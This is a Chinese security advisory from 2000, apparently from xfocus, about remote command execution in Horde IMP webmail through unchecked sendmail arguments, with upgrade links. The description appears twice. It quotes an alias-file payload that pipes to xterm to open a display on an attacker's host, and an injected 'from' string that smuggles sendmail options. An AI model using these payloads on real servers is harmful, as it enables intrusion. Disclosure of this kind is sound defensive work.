xfocus logo xfocus title
首页 焦点原创 安全文摘 安全工具 安全漏洞 焦点项目 焦点论坛 关于我们
English Version

Horde IMP可以通过SENDMAIL远程执行命令


发布时间:2000-09-25
更新时间:2000-09-25
严重程度:
威胁程度:普通用户访问权限
错误类型:设计错误
利用方式:服务器模式

受影响系统
Horde IMP 2.2.1
   + Horde Horde 1.2.1
Horde IMP 2.2
   + Horde Horde 1.2
Horde IMP 2.0
   - PHP PHP 4.0.1pl2
   - PHP PHP 4.0.1
   - PHP PHP 4.00
   - PHP PHP 3.0.16

其中 Horde IMP 2.2.2不受影响
详细描述
IMP一个WEB的MAIL接口,前些日子提到IMAP2.2.1和1.2.1可以逃过字符检测
来执行命令。后来补丁有发现可以通过SENDMAIL来执行命令,并通过IMP获取文件
的信息,问题在用户输入中的popen()里,这个popen调用SENDMAIL,而PHP脚本
没有正确检查参数就提交给SENDMAIL并通过,导致追加FROM域中的命令可以被执行。

另一个IMP远程执行命令是关于附件的,在附件上载以后,一个隐藏的form变量
设置在"compose"新信息中,这个信息窗口是用来存储运行IMP服务器上的的临
时文件的的地方。因此,攻击者可以建立一个本地文件如下:

"evil@localhost: "|/usr/X11R6/bin/xterm -display attackers-ip:0.0"

并作为附件上载上去,这样当MAIL给evil@localhost的时候,SENDMAIL将会
执行远程的XTERM。

当然,除非真的使用SENDMAIL程序,否则这个文件没有啥用处。

对于本地来说,SENDMAIL允许用户以特定的配置参数和命令行参数来运行它,因此,
可能发送一个"from"变量如下:"x@x -O QueueDirectory=/tmp -O AliasFile=path-of-attachment -Fx".
这会导致PHP脚本执行SENDMAIL,然后攻击者可以在上载一个alias文件后,从HTML
的源码中获得它的位置并设置"from"域的而已参数字符串,并设置"To"域为
evil#localhost并发送form,XTERM就会被发送到目的地点。

测试代码
见描述部分。

解决方案
下载升级程序:

Horde IMP 2.2.1:

Horde.org upgrade imp-2.2.2
tp://ftp.horde.org/pub/imp/tarballs/imp-2.2.2.tar.gz

Horde.org upgrade horde-1.2.2
ftp://ftp.horde.org/pub/horde/tarballs/horde-1.2.2.tar.gz

Horde.org patch horde.lib
http://cvs.horde.org/cvsweb.pl/lib/Attic/horde.lib.diff?cvsroot=horde&r1=1.1.2.24%3AHORDE_1_2_1&tr1=1.1&r2=text&tr2=1.1.2.29&f=u

Horde IMP 2.2:

Horde.org upgrade imp-2.2.2
tp://ftp.horde.org/pub/imp/tarballs/imp-2.2.2.tar.gz

Horde.org upgrade horde-1.2.2
ftp://ftp.horde.org/pub/horde/tarballs/horde-1.2.2.tar.gz

Horde IMP 2.0:

Horde.org upgrade imp-2.2.2
tp://ftp.horde.org/pub/imp/tarballs/imp-2.2.2.tar.gz

Horde.org upgrade horde-1.2.2
ftp://ftp.horde.org/pub/horde/tarballs/horde-1.2.2.tar.gz  
内    容:
    Horde IMP 2.2.1
   + Horde Horde 1.2.1
Horde IMP 2.2
   + Horde Horde 1.2
Horde IMP 2.0
   - PHP PHP 4.0.1pl2
   - PHP PHP 4.0.1
   - PHP PHP 4.00
   - PHP PHP 3.0.16

其中 Horde IMP 2.2.2不受影响


IMP一个WEB的MAIL接口,前些日子提到IMAP2.2.1和1.2.1可以逃过字符检测
来执行命令。后来补丁有发现可以通过SENDMAIL来执行命令,并通过IMP获取文件
的信息,问题在用户输入中的popen()里,这个popen调用SENDMAIL,而PHP脚本
没有正确检查参数就提交给SENDMAIL并通过,导致追加FROM域中的命令可以被执行。

另一个IMP远程执行命令是关于附件的,在附件上载以后,一个隐藏的form变量
设置在"compose"新信息中,这个信息窗口是用来存储运行IMP服务器上的的临
时文件的的地方。因此,攻击者可以建立一个本地文件如下:

"evil@localhost: "|/usr/X11R6/bin/xterm -display attackers-ip:0.0"

并作为附件上载上去,这样当MAIL给evil@localhost的时候,SENDMAIL将会
执行远程的XTERM。

当然,除非真的使用SENDMAIL程序,否则这个文件没有啥用处。

对于本地来说,SENDMAIL允许用户以特定的配置参数和命令行参数来运行它,因此,
可能发送一个"from"变量如下:"x@x -O QueueDirectory=/tmp -O AliasFile=path-of-attachment -Fx".
这会导致PHP脚本执行SENDMAIL,然后攻击者可以在上载一个alias文件后,从HTML
的源码中获得它的位置并设置"from"域的而已参数字符串,并设置"To"域为
evil#localhost并发送form,XTERM就会被发送到目的地点。

相关信息